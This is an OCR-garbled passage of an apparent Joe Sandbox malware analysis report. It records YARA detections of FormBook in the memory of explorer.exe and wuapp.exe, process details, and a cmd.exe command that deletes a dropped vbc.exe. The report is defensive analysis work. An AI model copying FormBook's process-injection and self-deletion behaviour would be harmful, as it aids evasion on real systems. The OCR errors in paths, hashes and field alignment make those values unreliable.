Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.521464934.0000000000170000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.521514431.00000000002B0000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000008.00000002.521514431.00000000002B0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.521514431.00000000002B0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.521543777.0000000000400000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000008.00000002.521543777.0000000000400000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.521543777.0000000000400000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

File Activities

File Read

Show Windows behavior

Analysis Process: explorer.exe PID: 1764 Parent PID: 668

Copyright Joe Security LLC 2021
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General

Start time: 11:29:54

Start date: 15/09/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0xffal0000

File size: 3229696 bytes

MDS5 hash: 38AE1B3C38FAEF56FE4907922F0385BA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000000.503236958.0000000009554000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,

Source:

0000000A.00000000.503236958.0000000009554000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000000.503236958.0000000009554000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000000.512918777.0000000009554000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000000.512918777.0000000009554000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000000.512918777.0000000009554000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: high

File Activities Show Windows behavior

Analysis Process: wuapp.exe PID: 2076 Parent PID: 1764

General

Start time: 11:30:09

Start date: 15/09/2021

Path: C:\Windows\SysWOWe64\wuapp.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\wuapp.exe
Imagebase: 0x1160000

File size: 35328 bytes

MD5 hash: C8EBA45CEF271BED6C2FOE1965D229EA
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.691920173.00000000002D0000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.691920173.00000000002D0000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.691920173.00000000002D0000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.691808432.00000000000E0000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.691808432.00000000000E0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.691808432.00000000000E0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.691877071.0000000000250000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.691877071.0000000000250000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.691877071.0000000000250000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate
File Activities Show Windows behavior
File Read
Analysis Process: cmd.exe PID: 2568 Parent PID: 2076

General

Start time: 11:30:13

Start date: 15/09/2021

Path: C:\Windows\SysWOWe64\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Deleted

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

true

/c del 'C:\Users\Public\vbc.exe'
0x4a5a0000

302592 bytes
AD7B9C14083B52BC532FBA5948342B98
true

true

C, C++ or other language

high

Show Windows behavior

Joe Sandbox Cloud Basic 33.0.0 White Diamond
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